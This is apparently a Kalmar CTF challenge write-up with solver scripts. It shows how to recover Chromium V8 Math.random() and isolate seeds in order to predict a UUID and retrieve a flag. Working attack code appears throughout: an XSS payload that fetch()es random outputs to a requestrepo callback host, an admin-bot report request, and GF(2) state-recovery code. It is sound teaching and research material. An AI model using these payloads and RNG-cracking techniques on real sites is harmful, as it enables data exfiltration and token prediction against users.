# insert numbers from xss callback here
NUMBERS1 = [0.6895963843546393,0.9233654420197914,0.5116231283488728,0.27029802448375007]
NUMBERS2 = [0.9151567929560229,0.6189343799473936,0.9909685298442512,0.29337312693103934]

MASK = 0xffffffffffffffff

def init_state():
    mtx = [[0]*i + [1] + [0]*(127-i) for i in range(128)]
    return mtx[:64], mtx[64:]

def shl_sym(mtx, n):
    return mtx[n:] + [[0]*128]*n

def shr_sym(mtx, n):
    return [[0]*128]*n + mtx[:-n]

def xor_sym(a, b):
    return [[aaa^bbb for aaa, bbb in zip(aa, bb)] for aa, bb in zip(a, b)]

def xs128p_sym(old_s0, old_s1):
    s1, s0 = old_s0, old_s1
    s1 = xor_sym(s1, shl_sym(s1, 23))
    s1 = xor_sym(s1, shr_sym(s1, 17))
    s1 = xor_sym(s1, s0)
    s1 = xor_sym(s1, shr_sym(s0, 26))
    return s1

def xs128p(old_s0, old_s1):
    s1, s0 = old_s0, old_s1
    s1 ^= (s1 << 23) & MASK
    s1 ^= (s1 >> 17)
    s1 ^= s0
    s1 ^= (s0 >> 26)
    return s1

def mh(h):
    h ^= h >> 33
    h = (h * 0xFF51AFD7ED558CCD) & MASK
    h ^= h >> 33
    h = (h * 0xC4CEB9FE1A85EC53) & MASK
    h ^= h >> 33
    return h

def mh_inv(h):
    h ^= h >> 33
    h = (h * 0x9cb4b2f8129337db) & MASK
    h ^= h >> 33
    h = (h * 0x4f74430c22a54005) & MASK
    h ^= h >> 33
    return h

def bits_to_int(bits: list[bool]) -> int:
    return int("".join(map(str, map(int, bits))), 2)

def int_to_bits(n, length):
    return [((n >> (length - i - 1)) & 1) for i in range(length)]

def reverse17(val):
    return val ^ (val >> 17) ^ (val >> 34) ^ (val >> 51)

def reverse23(val):
    return (val ^ (val << 23) ^ (val << 46)) & MASK

def xs128p_backward(s0, s1):
    prev_s0 = s1 ^ (s0 >> 26)
    prev_s0 = prev_s0 ^ s0
    prev_s0 = reverse17(prev_s0)
    prev_s0 = reverse23(prev_s0)
    return prev_s0

def state_to_double(s0: int) -> float:
    import struct
    double_bits = (s0 >> 12) | 0x3FF0000000000000
    return struct.unpack("d", struct.pack("<Q", double_bits))[0] - 1

def get_mantissa(val: float) -> int:
    import struct
    if val == 1.0:
        return MASK >> 12
    return struct.unpack("<Q", struct.pack("d", val + 1))[0] & 0x000FFFFFFFFFFFFF

def validate_solution_v8(s0, s1, count=128):
    for _ in range(count):
        if mh(s0^MASK) == s1:
            return mh_inv(s0)
        s0, s1 = xs128p_backward(s0, s1), s0

def validate_solution_mr(s0, s1, count=128):
    for _ in range(count):
        if mh_inv(s0) == mh_inv(s1)^MASK:
            return mh_inv(s0)
        s0, s1 = xs128p_backward(s0, s1), s0

def solve_basic_state(A, b):
    from sage.all import matrix, vector, GF
    F = GF(2)
    mtx = matrix(F, A)
    vec = vector(F, b)

    sol = mtx.solve_right(vec)
    return bits_to_int(sol[:64]), bits_to_int(sol[64:])

def solve_math_random(numbers):
    s0, s1 = init_state()

    A = []
    b = []
    for n in numbers[::-1]:
        A += s0[:52]
        b += int_to_bits(get_mantissa(n), 52)
        s0, s1 = s1, xs128p_sym(s0, s1)
        
    s0, s1 = solve_basic_state(A, b)
    return validate_solution_mr(s0, s1)

def get_root_init_bits(consecutive_seeds):
    return list(b"".join(seed.to_bytes(8, "little") for seed in consecutive_seeds))

def solve_root_state(consecutive_seeds):
    outputs = get_root_init_bits(consecutive_seeds)
    from tqdm import tqdm
    import itertools

    A = []
    s0, s1 = init_state()
    for _ in range(16):
        A += s0[:8]
        A += s1[:8]
        s0, s1 = s1, xs128p_sym(s0, s1)

    from sage.all import Matrix, vector, GF
    A = Matrix(GF(2), A)

    # 256 values of s0 guesses + 16 carry bits
    attempts = itertools.product(*([range(256)] + [(0, 1)]*16)) 

    b = vector(GF(2), [0]*256)

    for values in tqdm(list(attempts)):
        s0_guess = values[0]
        carry_bits = values[1:]
        
        s0_val = s0_guess

        for i, (o, c) in enumerate(zip(outputs, carry_bits)):
            s1_val = (o - s0_val - c) % 256
            b[i*16:i*16+8] = int_to_bits(s0_val, 8)
            b[i*16+8:i*16+16] = int_to_bits(s1_val, 8)
            s0_val = s1_val # new s0 is old s1

        try:
            sol = A.solve_right(b)
            sol = bits_to_int(sol)
            s0, s1 = sol >> 64, sol & MASK
            if seed := validate_solution_v8(s0, s1):
                return seed
        except ValueError:
            # no solution
            pass

def iter_math_random(seed):
    s0, s1 = mh(seed), mh(seed^MASK)
    while True:
        block = []
        for _ in range(64):
            s0, s1 = s1, xs128p(s0, s1)
            block.append(state_to_double(s0))
        yield from block[::-1]

def generate_uuid(numbers_iter):
    uuid = ""
    for i in range(32):
        if i == 12:
            uuid += "4"
            continue
        char = int(next(numbers_iter) * 16)
        if i == 16:
            char = char & 0x3 | 0x8
        uuid += "0123456789abcdef"[char]
        if i in [7, 11, 15, 19]:
            uuid += "-"
    return uuid

def iter_random_seeds(root_seed):
    s0 = mh(root_seed)
    s1 = mh(s0^MASK)

    output_bytes = []
    for _ in range(128):
        output = ((s0+s1) & MASK) >> 56
        output_bytes.append(output)
        s0, s1 = s1, xs128p(s0, s1)

        if len(output_bytes) >= 8:
            yield int.from_bytes(output_bytes[-8:], "little")

if __name__ == "__main__":
    seed1 = solve_math_random(NUMBERS1)
    print(f"random seed 1: {seed1}")
    seed2 = solve_math_random(NUMBERS2)
    print(f"random seed 2: {seed2}")
    root = solve_root_state([seed1, seed2])
    if not root:
        # order sometimes flipped, try both?
        root = solve_root_state([seed2, seed1])
    print(f"root seed: {root}")

    if not root:
        print("couldn't find root state")
        exit()

    for possible_admin_seed in iter_random_seeds(root):
        uuid = generate_uuid(iter_math_random(possible_admin_seed))

        import requests
        r = requests.get(f"https://notes-spukhafte.chal-kalmarc.tf/note/{uuid}")
        if r.status_code == 200:
            print(uuid, r.text)
            break

import requests, urllib.parse

REQUESTREPO = "https://4rl8zudr.requestrepo.com"
HOST = "https://bot-spukhafte.chal-kalmarc.tf/"

xss_payload = """
<div id="container"></div>
<script>
const inner = `
<iframe id=a></iframe>
<iframe id=b></iframe>
<script>
a.srcdoc='<script>fetch("REQUESTREPO/?a_"+([Math.random(),Math.random(),Math.random(),Math.random()].toString()))</scr'+'ipt>';
b.srcdoc='<script>fetch("REQUESTREPO/?b_"+([Math.random(),Math.random(),Math.random(),Math.random()].toString()))</scr'+'ipt>';
</scr${""}ipt>
`;

setTimeout(() => {
  const frame = document.createElement("iframe");
  frame.src = "https://xss-spukhafte.chal-kalmarc.tf/?html=" + encodeURIComponent(inner);
  document.getElementById("container").appendChild(frame);
}, 2000);
</script>
""".replace("REQUESTREPO", REQUESTREPO)
# put ^ on that requestrepo, or host a server, idk

r = requests.post(HOST + "/report", json={"url": "https://xss-spukhafte.chal-kalmarc.tf/?html=" + urllib.parse.quote(f"<script>window.location.href='{REQUESTREPO}/';</script>")})
print(r, r.text)

# spukhafte Fernwirkung

**Author**: Astrid
**Flag**: `kalmar{REDACTED}`

## Setup
The challenge has three components:
- `notes`, a very simple server that lets you store a "note" (the flag) by a UUID, and then retrieve it given that UUID
- `xss`, literally giving you free XSS
- `adminbot`, which will visit `notes`, submit the flag to the server, navigate away (to `https://kalmarunionen.dk`), open a new tab, and only then, visit the user URL in *that* tab.

The goal of the challenge is to leak the UUID generated by the admin('s browser) and fetch the flag from the server.

However, since the user's URL gets visited in a completely different tab, on a different subdomain (so, different origin), *and* the UUID is never actually stored in the browser at all, this seems... non-trivial, to say the least. Since the challenge got no solves during the CTF, I can only imagine the players thought the same.

In fact, given Chromium's security model, this *should* for all intents and purposes be impossible. You'd need some kind of [spooky action at a distance](https://en.wiktionary.org/wiki/spooky_action_at_a_distance) to learn about something that happened in a completely different tab, on a completely different origin, and *in the past*...!?

## UUID generation
You'll (hopefully) quickly notice that the UUID is generated in the browser using an insecure RNG. I do love `Math.random()`.

```js
function uuidv4() {
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'
    .replace(/[xy]/g, function (c) {
        const r = Math.random() * 16 | 0,
            v = c == 'x' ? r : (r & 0x3 | 0x8);
        return v.toString(16);
    });
}

function saveNote() {
    const note = document.getElementById('noteInput').value;
    const uuid = uuidv4();

    fetch('/note', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ uuid, note })
    });
}
```

The `uuidv4` function is a fairly common snippet found in various places around the internet, so it's probably quite common for people looking for a quick and easy way to generate random UUIDs. While it's generally known that `Math.random()` is cryptographically insecure, the real-world implications of this is often unclear, especially for "harmless" cases like IDs as opposed to cryptographic key material. I've definitely figured lots of times that it doesn't *really* matter, and the attack would be impractical to pull off in the real world, so who cares, right?

Typical randcrack-solutions require there to be some known info coming from the same random number generator that you can use to recover the initial state, and thus determine past/future outputs from the RNG. However, we don't have anything like this here - the page generates the UUID, uses it, and then does nothing else. There's no way to leak the UUID that was generated (if we could, we'd just get the flag, anyway), so we have exactly *zero* known bits. Total dead end.

## Randcrack (Normal)
However, we do have *one* primitive at our disposal: the free XSS.

Different pages will run in different browser contexts, and thus use different RNG instances (right...?), but it's at least a *start*.

We can use a simple payload like:
```html
<script>fetch("https://[whatever].requestrepo.com/?" + [Math.random(),Math.random(),Math.random(),Math.random()].toString());</script>
```

to leak four values from Math.random(). There's [lots](https://github.com/d0nutptr/v8_rand_buster) [of](https://medium.com/@EsteveSegura/rolling-the-dice-on-security-the-pitfalls-of-using-math-random-in-javascript-3e891d8e4ef6) [literature](https://github.com/PwnFunction/v8-randomness-predictor/blob/main/main.py) about how to crack the Math.random() state given raw outputs, and cracking it with more restricted outputs is only slightly harder.

So, given the output `[0.6895963843546393,0.9233654420197914,0.5116231283488728,0.27029802448375007]`, we can trivially recover the RNG state used to generate those - in this case, `s0 = 4986118481281016007, s1 = 9437780910842312095`.

But this just lets us recover past and future outputs from *this* RNG instance, and that's not useful at all!

Can we go further?

## Seed recovery
Let's take a look at the actual implementation of Math.random(). In V8 (ie. Chromium), it lives in [src/numbers/math-random.cc](https://github.com/v8/v8/blob/be38e4bcd30cc95019cf9083c1d809dbcdbc2081/src/numbers/math-random.cc).

(Or more specifically, the `RefillCache` function is the one doing the relevant work. The actual implementation of Math.random() is inb [src/builtins/math.tq](https://github.com/v8/v8/blob/be38e4bcd30cc95019cf9083c1d809dbcdbc2081/src/builtins/math.tq#L515), but *that* just calls `RefillCache` when the cache needs refilled. The cache has some fun implications by itself, but they're not relevant here.)

The `RefillCache` function looks like this:

```cpp

Address MathRandom::RefillCache(Isolate* isolate, Address raw_native_context) {
  Tagged<Context> native_context =
      Cast<Context>(Tagged<Object>(raw_native_context));
  DisallowGarbageCollection no_gc;
  Tagged<PodArray<State>> pod =
      Cast<PodArray<State>>(native_context->math_random_state());
  State state = pod->get(0);
  // Initialize state if not yet initialized. If a fixed random seed was
  // requested, use it to reset our state the first time a script asks for
  // random numbers in this context. This ensures the script sees a consistent
  // sequence.
  if (state.s0 == 0 && state.s1 == 0) {
    uint64_t seed;
    if (v8_flags.random_seed != 0) {
      seed = v8_flags.random_seed;
    } else {
      isolate->random_number_generator()->NextBytes(&seed, sizeof(seed));
    }
    state.s0 = base::RandomNumberGenerator::MurmurHash3(seed);
    state.s1 = base::RandomNumberGenerator::MurmurHash3(~seed);
    CHECK(state.s0 != 0 || state.s1 != 0);
  }

  Tagged<FixedDoubleArray> cache =
      Cast<FixedDoubleArray>(native_context->math_random_cache());
  // Create random numbers.
  for (int i = 0; i < kCacheSize; i++) {
    // Generate random numbers using xorshift128+.
    base::RandomNumberGenerator::XorShift128(&state.s0, &state.s1);
    cache->set(i, base::RandomNumberGenerator::ToDouble(state.s0));
  }
  pod->set(0, state);

  Tagged<Smi> new_index = Smi::FromInt(kCacheSize);
  native_context->set_math_random_index(new_index);
  return new_index.ptr();
}
```

We already know how to solve for *some* value of `s0` and `s1` that was used in this RNG instance, but where did the *original* values come from?

The first time the `RefillCache` function is called, it initializes the RNG state like so:
```cpp
uint64_t seed;
if (v8_flags.random_seed != 0) {
    seed = v8_flags.random_seed;
} else {
    isolate->random_number_generator()->NextBytes(&seed, sizeof(seed));
}
state.s0 = base::RandomNumberGenerator::MurmurHash3(seed);
state.s1 = base::RandomNumberGenerator::MurmurHash3(~seed);
CHECK(state.s0 != 0 || state.s1 != 0);
```

It grabs 64 bits from a *different* random number generator, and uses that to initialize the first `s0` and `s1` values through the `MurmurHash3` function.

Can we recover *that* seed, somehow?

The MurmurHash3 function lives in [src/base/utils/random-number-generator.cc](https://github.com/v8/v8/blob/be38e4bcd30cc95019cf9083c1d809dbcdbc2081/src/base/utils/random-number-generator.cc) (and we'll come back here later):

```cpp
uint64_t RandomNumberGenerator::MurmurHash3(uint64_t h) {
  h ^= h >> 33;
  h *= uint64_t{0xFF51AFD7ED558CCD};
  h ^= h >> 33;
  h *= uint64_t{0xC4CEB9FE1A85EC53};
  h ^= h >> 33;
  return h;
}
```

Really, this is the *finalization* function [`fmix64`](https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp#L81).

This function is reversible just by finding the inverses of the multipliers:
```cpp
uint64_t RandomNumberGenerator::MurmurHash3_inverse(uint64_t h) {
  h ^= h >> 33;
  h *= uint64_t{0x9CB4B2F8129337DB};
  h ^= h >> 33;
  h *= uint64_t{0x4F74430C22A54005};
  h ^= h >> 33;
  return h;
}
```

And we can verify this fact (albeit in a nicer language):

```py
MASK = 0xffffffffffffffff

def murmurhash3(h):
    h ^= h >> 33
    h = (h * 0xFF51AFD7ED558CCD) & MASK
    h ^= h >> 33
    h = (h * 0xC4CEB9FE1A85EC53) & MASK
    h ^= h >> 33
    return h

def murmurhash3_inverse(h):
    h ^= h >> 33
    h = (h * 0x9CB4B2F8129337DB) & MASK
    h ^= h >> 33
    h = (h * 0x4F74430C22A54005) & MASK
    h ^= h >> 33
    return h

seed = 1337
hashed_seed = murmurhash3(1337)
inverse_hash = murmurhash3_inverse(hashed_seed)
assert seed == inverse_hash
```

This assertion passes.

Since the s0 and s1 values are generated with:
```cpp
state.s0 = base::RandomNumberGenerator::MurmurHash3(seed);
state.s1 = base::RandomNumberGenerator::MurmurHash3(~seed);
```

It follows that `seed == murmurhash3_inverse(s0) == ~murmurhash3_inverse(s1)`.

Let's try that on our numbers from earlier:

```py
MASK = 0xffffffffffffffff
s0 = 4986118481281016007
s1 = 9437780910842312095

print(murmurhash3_inverse(s0))
print(murmurhash3_inverse(s1)^MASK) # i don't trust ~ in Python
```

And we get the outputs:
```
13401060674772458877
7055164704789646073
```

...but those aren't the same value! So this must not be the real seed.

Of course, all we've done is recover *a* s0/s1 pair that was used for the numbers we have. We don't know where in the sequence our numbers were generated. They might not be the first outputs - they could be anywhere!

However, since we now have a nice way to verify whether a given state pair *was* the first state (since we'd get the same seed out from inverting the murmurhash3 function), we can simply traverse the RNG backwards until we find it:

```py
MASK = 0xffffffffffffffff

def reverse17(val):
    return val ^ (val >> 17) ^ (val >> 34) ^ (val >> 51)

def reverse23(val):
    return (val ^ (val << 23) ^ (val << 46)) & MASK

def xs128p_backward(s0, s1):
    prev_s0 = s1 ^ (s0 >> 26)
    prev_s0 = prev_s0 ^ s0
    prev_s0 = reverse17(prev_s0)
    prev_s0 = reverse23(prev_s0)
    return prev_s0

s0 = 4986118481281016007
s1 = 9437780910842312095

steps = 0
while murmurhash3_inverse(s0) != murmurhash3_inverse(s1)^MASK:
    steps += 1
    s0, s1 = xs128p_backward(s0, s1), s0

seed = murmurhash3_inverse(s0)
assert seed == murmurhash3_inverse(s1)^MASK
print(f"recovered seed {seed} after {steps} steps")
```

And we get this output:
```
recovered seed 13064262445274959226 after 61 steps
```

Great! Now, given some Math.random() output, we can not only recover the internal RNG state, but also the *original* seed the instance was seeded with! (Bonus: this gives us a way to determine "how many RNG rolls have occurred until now", which I'm sure is a useful side channel of *some* kind, somewhere, somehow.)

And now, we should notice the next step: hey, can we do the same thing with that *other* RNG?

## Randcrack (Savage)
So far we've worked with individual instances of `Math.random()`. Looking at the `RefillCache` function, we can see that it operates on state coming from `native_context->math_random_state()`:
```cpp
Address MathRandom::RefillCache(Isolate* isolate, Address raw_native_context) {
  Tagged<Context> native_context =
      Cast<Context>(Tagged<Object>(raw_native_context));
  Tagged<PodArray<State>> pod =
      Cast<PodArray<State>>(native_context->math_random_state());
  State state = pod->get(0);
  // (all the logic now works on `state`)
```

In V8, a "native context" roughly corresponds to a JS execution environment and corresponding "global state", including all the builtin objects and functions that may or may not have been JIT-compiled. In a browser context, this can be thought of as "a page", or at least "a frame" (iframes and such get different contexts).

This is distinct from the concept of a V8 *isolate* (which are the main "entry point objects" of V8 and contain stuff like the JS heap). One isolate can contain many different contexts.

If we look at the seeding of the `Math.random` state:
```cpp
uint64_t seed;
if (v8_flags.random_seed != 0) {
    seed = v8_flags.random_seed;
} else {
    isolate->random_number_generator()->NextBytes(&seed, sizeof(seed));
}
```

We can see that it grabs a global(ish) random number generator *from the isolate* and uses that to generate the seed.

This generator is implemented in [`random-number-generator.cc`](https://github.com/v8/v8/blob/main/src/base/utils/random-number-generator.cc) (told you we'd get back there), and the code looks fairly similar to the other code we've looked at:

```cpp
void RandomNumberGenerator::NextBytes(void* buffer, size_t buflen) {
  for (size_t n = 0; n < buflen; ++n) {
    static_cast<uint8_t*>(buffer)[n] = static_cast<uint8_t>(Next(8));
  }
}

int RandomNumberGenerator::Next(int bits) {
  DCHECK_LT(0, bits);
  DCHECK_GE(32, bits);
  XorShift128(&state0_, &state1_);
  return static_cast<int>((state0_ + state1_) >> (64 - bits));
}

// Static and exposed for external use.
static inline void XorShift128(uint64_t* state0, uint64_t* state1) {
  uint64_t s1 = *state0;
  uint64_t s0 = *state1;
  *state0 = s0;
  s1 ^= s1 << 23;
  s1 ^= s1 >> 17;
  s1 ^= s0;
  s1 ^= s0 >> 26;
  *state1 = s1;
}
```

We have 64 bits (8 bytes) of output from `NextBytes`, so we have the outputs of eight calls to `Next(8)`.

Since this *is* still XorShift128, we need 128 bits of entropy to recover the internal state, which is definitely more than 64. However, if we could get random seeds from *two* different native contexts, seeded from the same isolate, we'd have enough bits! This is a bit tricky, and we'll get back to that later, but for now, assume we have *16* outputs of `Next(8)`, and let's assume they're consecutive, too.

Now... there's a catch that prevents us from applying the same method as earlier.

The `ToDouble` function used by Math.random() looks [like this](https://github.com/v8/v8/blob/13.5.80/src/base/utils/random-number-generator.h#L111):

```cpp
static inline double ToDouble(uint64_t state0) {
  // Exponent for double values for [1.0 .. 2.0)
  static const uint64_t kExponentBits = uint64_t{0x3FF0000000000000};
  uint64_t random = (state0 >> 12) | kExponentBits;
  return base::bit_cast<double>(random) - 1;
}
```

This function is nice and convenient: there's a direct mapping between the output float and the bits of `s0`, meaning that given a full output, you *definitely* know 52 bits of `s0`.

However, `RandomNumberGenerator::Next` uses a different method:
```cpp
  return static_cast<int>((state0_ + state1_) >> (64 - bits));
```

Meaning it's basing the output on the *sum* of s0 and s1... and even if we have the sum, we can't say anything at all about the bits of either s0 *or* s1, other than their sum. If the most significant bit is `1`, we don't know whether the MSB of s0 and s1 are 0 and 1, or 1 and 0... or even 0 and 0, but with a carry coming from the lower bits.

So... we're screwed, right?

Not so fast. We just have to do some actual math, for once...

## Call in crypto gang
We all know cryptographers love their "systems of equations" with their single-letter variables and whatnot, so let's set up one with the information we have.

Let's call the outputs $k_n$ (for "known"), and let's call the state values $s0_n$ and $s1_n$. So, we have:

$$
(s0_0 + s1_0) = k_0 \\
(s0_1 + s1_1) = k_1 \\
(s0_2 + s1_2) = k_2 \\
(s0_3 + s1_3) = k_3 \\
...
$$

...where we only know the top 8 bits of the `s0`, `s1` and `k` values, but let's ignore that for now.

We have two unknown variables for every known variable, so... it won't work! Too many degrees of freedom.

However, we're missing one crucial implementation deal of XorShift: every iteration actually only generates a new `s1` value - and moves the old `s1` value to `s0`. This isn't very clear in the C++ implementation, but my usual Python implementation makes it easier to see:

```py
def xs128p(old_s0, old_s1):
    s1, s0 = old_s0, old_s1
    s1 ^= (s1 << 23) & MASK
    s1 ^= (s1 >> 17)
    s1 ^= s0
    s1 ^= (s0 >> 26)
    return s1

s0, s1 = ...

# step
s0, s1 = s1, xs128p(s0, s1)
```

So, instead, we can imagine the state as a series of 64-bit state variables (let's just call them $s_n$), and we just shift the *index* by one every iteration. Now, we can write it as:

$$
(s_0 + s_1) = k_0 \\
(s_1 + s_2) = k_1 \\
(s_2 + s_3) = k_2 \\
(s_3 + s_4) = k_3 \\
...
$$

(Yes, it's zero-indexed. I'm not a mathematician. Sue me.)

Now, in this example, we still have four equations, but only *five* unknowns. If we could know any *one* of the values for sure, we can solve for all the rest.

$s_0$ is a 64-bit integer, so it's far too much to brute-force... but we only actually need the upper 8 bits, right? We *could* just brute-force all 256 possibilities for `s0` and see which ones of them give a valid result in the end.

However, we can't *just* pretend they're only 8-bit values, as nice as that would be. The lower 56 bits *do* influence the result... but only the carry bit from bit 55 to 56.

Let's add the carry bit into our equations:

$$
s_0 + s_1 + c_0 = k_0 \\
s_1 + s_2 + c_1 = k_1 \\
s_2 + s_3 + c_2 = k_2 \\
s_3 + s_4 + c_3 = k_3 \\
...
$$

Now we have more unknowns again, but each carry bit is only, well... one bit. So maybe that's fine?

So what unknowns do we actually have? For each equation (which in practice we'll have 16 of - 16 outputs of `Next(8)`), we need to know the carry bit coming from the lower 56 bits... and we'll need the top 8 bits of *one* of the state variables (let's say $s_0$). And then, we can solve for the (top 8 bits of) the whole state sequence like so:

$$
\begin{align*}
s_{n} + s_{n+1} + c_{n} &= k_{n} \mod 256 \\
&\Downarrow \\
s_{n+1} &= k_{n} - s_{n} - c_{n} \mod 256
\end{align*}
$$

We need 8 bits from $s_0$, and the 16 bits of $c$ (for 16 outputs), which is only 24 bits of brute-forcing - totally doable!

So, we can generate a bunch of candidates for what the top 8 bits of the state values *might* have been, solve for the full XorShift128 state for all of them, and see which ones of them work out. Since most of the inputs will be "garbage", most of them won't lead to valid solutions at all.

While you *can*, technically, do this with something like Z3, but that'll slow down dramatically as you lower the amount of bits per RNG step. I doubt it would complete in any amount of reasonable runtime for this problem. (I tried making a (fairly naive) attempt, and the runtime would've been measured in months...)

However, any true crypto main will know that XorShift128 is linear over `GF(2)`, so you can solve it as a linear system using linear algebra. This was used, for example, in the [PlaidCTF 2023 challenge 'fastrology'](https://github.com/slashbad/writeups/blob/master/plaidctf23/01_fastrology.ipynb) (hi ubuntor).

A simple version of this implementation would look like this:

```py
from sage.all import Matrix, vector, GF
from tqdm import tqdm
import itertools

MASK = 0xffffffffffffffff

def init_state():
    mtx = [[0]*i + [1] + [0]*(127-i) for i in range(128)]
    return mtx[:64], mtx[64:]

def shl_sym(mtx, n):
    return mtx[n:] + [[0]*128]*n

def shr_sym(mtx, n):
    return [[0]*128]*n + mtx[:-n]

def xor_sym(a, b):
    return [[aaa^bbb for aaa, bbb in zip(aa, bb)] for aa, bb in zip(a, b)]

def xs128p_sym(old_s0, old_s1):
    s1, s0 = old_s0, old_s1
    s1 = xor_sym(s1, shl_sym(s1, 23))
    s1 = xor_sym(s1, shr_sym(s1, 17))
    s1 = xor_sym(s1, s0)
    s1 = xor_sym(s1, shr_sym(s0, 26))
    return s1

def bits_to_int(bits: list[bool]) -> int:
    return int("".join(map(str, map(int, bits))), 2)

def int_to_bits(n, length):
    return [((n >> (length - i - 1)) & 1) for i in range(length)]

# set up matrix representing 8 top bits of 16 consecutive states
A = []
s0, s1 = init_state()
for _ in range(16):
    A += s0[:8]
    A += s1[:8]
    s0, s1 = s1, xs128p_sym(s0, s1)
A = Matrix(GF(2), A)

# extracted from example data
outputs = [139, 155, 195, 145, 98, 226, 52, 58, 38, 218, 94, 214, 47, 106, 88, 132]

# 256 values of s0 guesses + 16 carry bits
attempts = itertools.product(*([range(256)] + [(0, 1)]*16))
for values in tqdm(list(attempts)):
    s0_guess = values[0]
    carry_bits = values[1:]

    s0_val = s0_guess

    b = []
    for o, c in zip(outputs, carry_bits):
        s1_val = (o - s0_val - c) % 256
        b += int_to_bits(s0_val, 8)
        b += int_to_bits(s1_val, 8)
        s0_val = s1_val # new s0 is old s1
    b = vector(GF(2), b)

    try:
        sol = A.solve_right(b)
        sol = bits_to_int(sol)
        s0, s1 = sol >> 64, sol & MASK
        print(s0, s1)
    except ValueError:
        # no solution
        pass
```

On my system, single-threaded, this completes in about 12 hours, which is already feasible in a CTF context, although you may want to be a bit more clever and/or throw lots of cores at it.

If you actually run this, though, you'll notice that it spits out quite a lot of possible solutions - at least tens of thousandsQ, though I haven't counted! One way to solve this would be to include even more bits, say, from *three* different Math.random() seeds, but then your carry bit brute-force would blow up accordingly - although there's probably a balance somewhere of *how* many extra bits you choose to include. You could also just try using all of them, although that might get unwieldy given the next few steps. We *do* have another trick up our sleeve, though!

## Seed recovery (part 2)
If we look back at `random-number-generator.cc`, we'll notice [a familiar construction](https://github.com/v8/v8/blob/be38e4bcd30cc95019cf9083c1d809dbcdbc2081/src/base/utils/random-number-generator.cc#L220):

```cpp
void RandomNumberGenerator::SetSeed(int64_t seed) {
  initial_seed_ = seed;
  state0_ = MurmurHash3(base::bit_cast<uint64_t>(seed));
  state1_ = MurmurHash3(~state0_);
  CHECK(state0_ != 0 || state1_ != 0);
}
```

When the *isolate* and its RNG instance gets initialized, it calls `SetSeed` using 64 bits from the system's CSPRNG - usually `/dev/urandom`. Boo for "secure" "random numbers". Those are no fun.

But, we can perform the same trick as earlier! This time the initialization is slightly different (s1 is the hash of the inverse of *s0*, not the original seed), but the same concept applies.

This means we can step back from the state (candidate) we recovered and check whether we find a valid seed within some small amount of steps:

```py
MASK = 0xffffffffffffffff # still :)

def validate_solution_v8(s0, s1, count=128):
    for _ in range(count):
        if murmurhash3(s0^MASK) == s1:
            return murmurhash3_inverse(s0)
        s0, s1 = xs128p_backward(s0, s1), s0
```

If we let the brute-force run its course, we'll eventually recover a single valid seed for the isolate's root state.

For my test outputs (from the same isolate), which are `[0.6895963843546393,0.9233654420197914,0.5116231283488728,0.27029802448375007]` and `[0.9151567929560229,0.6189343799473936,0.9909685298442512,0.29337312693103934]`, you should get the Math.random() seeds `13064262445274959226` and `2452739071240180465`, and the isolate root seed of `15620352084711387380`.

## Recovering the UUID
From here on, the remainder seems trivial: start with the seed, generate some Math.random() seeds, generate some UUIDs from that, and eventually you should find a UUID that gets you the flag from a server... right?

I've reproduced the UUID generation algorithm in Python here:

```py
MASK = 0xffffffffffffffff

def xs128p(old_s0, old_s1):
    s1, s0 = old_s0, old_s1
    s1 ^= (s1 << 23) & MASK
    s1 ^= (s1 >> 17)
    s1 ^= s0
    s1 ^= (s0 >> 26)
    return s1

def murmurhash3(h):
    h ^= h >> 33
    h = (h * 0xFF51AFD7ED558CCD) & MASK
    h ^= h >> 33
    h = (h * 0xC4CEB9FE1A85EC53) & MASK
    h ^= h >> 33
    return h

def murmurhash3_inverse(h):
    h ^= h >> 33
    h = (h * 0x9CB4B2F8129337DB) & MASK
    h ^= h >> 33
    h = (h * 0x4F74430C22A54005) & MASK
    h ^= h >> 33
    return h

def state_to_double(s0: int) -> float:
    import struct
    double_bits = (s0 >> 12) | 0x3FF0000000000000
    return struct.unpack("d", struct.pack("<Q", double_bits))[0] - 1

def iter_random_seeds(root_seed):
    s0 = murmurhash3(root_seed)
    s1 = murmurhash3(s0^MASK)

    output_bytes = []
    for _ in range(128):
        output = ((s0+s1) & MASK) >> 56
        output_bytes.append(output)
        s0, s1 = s1, xs128p(s0, s1)

        if len(output_bytes) >= 8:
            yield int.from_bytes(output_bytes[-8:], "little")

def iter_math_random(seed):
    s0, s1 = murmurhash3(seed), murmurhash3(seed^MASK)
    while True:
        block = []
        for _ in range(64):
            s0, s1 = s1, xs128p(s0, s1)
            block.append(state_to_double(s0))
        yield from block[::-1]

def generate_uuid(numbers_iter):
    uuid = ""
    for i in range(32):
        if i == 12:
            uuid += "4"
            continue
        char = int(next(numbers_iter) * 16)
        if i == 16:
            char = char & 0x3 | 0x8
        uuid += "0123456789abcdef"[char]
        if i in [7, 11, 15, 19]:
            uuid += "-"
    return uuid

root_seed = 15620352084711387380

for possible_admin_seed in iter_random_seeds(root_seed):
    uuid = generate_uuid(iter_math_random(possible_admin_seed))
    print(uuid)
```

I can also tell you that the UUID with the flag, for this run, is `e75916eb-9844-42db-8c80-e0708e0332a8`. If you run the code above, it'll spit out a bunch of UUIDs, and the correct one is indeed one of them!

So, we're done, right? Go on and try it on your own data! It should just work, right?

...right?

Well... it probably won't.

So far, we've been making one critical assumption: that the flag's UUID, and both our XSS payloads, *all ran in the same isolate*. Since the isolate was seeded using /dev/urandom on startup, as far as I know, there *is* indeed no way to keep going and cross the isolate-boundary. If we can recover our root seed for our payload's output, then *those* are from the same isolate (it's entirely possible they aren't, depending on how you've written it - but my example outputs from above *are*). But if that's not the same one the flag was generated in... then we're screwed, right?

Sigh. Time to bring in web gang again. Or rev gang? Or pwn gang???

## Wait, what's an isolate, anyway?
It turns out Chromium is quite good at this whole "security" and "sandboxing" thing. The browser has been multi-process for quite a while, now, and it's advanced enough that different frames within the same page can run in different processes entirely! This means that should one find an exploit in the renderer process, you can't *just* start messing with all the other tabs in the browser - you'll have to find a full sandbox escape and get complete system RCE for that. Needless to say, we're not expecting you to do that on latest Chromium in a 48-hour CTF.

Through "trial and error" (although I'm sure one could find the actual code responsible), I've discovered that Chromium has one V8 isolate *per process*. So, if you can make sure that the adminbot generates the UUID in the same process as the user's
XSS payload, then we'll be set! But how can we do that?

